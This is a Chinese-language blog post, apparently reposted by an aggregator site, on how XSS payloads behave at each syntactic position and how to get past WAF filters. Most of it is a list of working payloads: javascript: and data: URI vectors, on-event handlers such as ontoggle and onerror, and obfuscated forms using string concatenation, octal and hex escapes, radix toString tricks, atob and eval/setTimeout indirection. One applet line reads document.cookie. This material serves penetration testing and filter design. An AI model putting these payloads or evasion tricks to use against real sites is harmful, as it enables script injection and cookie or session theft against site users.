XSS在payload中各位置的特性
Posted KeepPassion
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS在payload中各位置的特性相关的知识,希望对你有一定的参考价值。
0x00 XSS在payload中各位置的特性
标准payload1:
<img src=“1” onerror=“alert(1)”>
起始符+标签名+空格+属性名=属性值+空格+属性名=属性值+终止符
符号<不能unicode编码,不能url编码,不能html编码。故若必须使用<构造payload,但<被编码输出(url编码/unicode编码/html编码),则无法绕过。waf不会阻止单独的<
2. 标签名
标签名不能unicode编码,不能url编码,不能html编码,且与起始符之间不能有任何字符。故若标签名被waf阻拦,则只能替换标签构造payload
3. 空格
谷歌浏览器:
<img/src/onerror=alert(1)>
<img/src=1 onerror=alert(1)>
<img/**/src/**/onerror=alert(1)>
<img/src=“”onerror=alert(1)>
<img/**/src=“”onerror=alert(1)>
4. 属性名
属性名不能url编码/html编码/unicode编码,on事件是属性名,也不能编码,故若WAF阻拦了所有的on事件,则不能使用on事件触发js代码
5. 属性值
普通属性名:对于输出位置在普通属性值的情况,首先使用引号闭合该属性(若有引号包裹),若引号被URL编码/html编码/unicode编码输出,则无法绕过
特殊属性名:src/href/action/xlink:href/content/background/poster/code/expression/fromaction
对于输出位置在特殊属性值的情况
1)可以使用javascript伪协议执行js代码
2)javascript伪协议可以unicode编码/html编码,其后的js代码可以url编码/unicode编码/html编码
3)可以使用data协议执行js代码
<a href=javascript:alert(1)>test</a>
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==> (fail)
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill=“white"/></a></svg>
<math><a xlink:href=javascript:alert(1)></math>
<form><button formaction=javascript:alert(1)>M (html5)
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
<embed src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed>
<isindex action=javascript:alert(1) type=image> (fail)
<math href=“javascript:alert(1)">CLICKME</math> (fail)
<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效
<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效
<applet code="javascript:confirm(document.cookie);"> // Firefox有效
<img style="xss:expression(alert(0))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> // IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
on事件:onclick/onerror/onwheel/onqut/onload
1)可以直接执行js代码,也可以使用javascript伪协议执行js代码
2)javascript伪协议可以unicode编码/html编码,其后的js代码可以unicode编码/html编码/js8编码/js16编码
3)函数的参数值是js的字符串,可以使用js的函数或拼接符做各种变换,例如eval(‘a’+’l’+’ert(1)’)
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) >
JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()与toString()
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
<details open ontoggle=top[a=‘al',b='ev',b%2ba]('alert(1)')>
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
<details open ontoggle=top[a=‘meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
参考:https://xz.aliyun.com/t/6597?from=singlemessage
6. >标签终止符
符号>不能unicode编码,不能url编码,不能html编码。故若必须使用>构造payload,但>被编码输出(url编码/unicode编码/html编码),则无法绕过。waf不会阻止单独的>
以上是关于XSS在payload中各位置的特性的主要内容,如果未能解决你的问题,请参考以下文章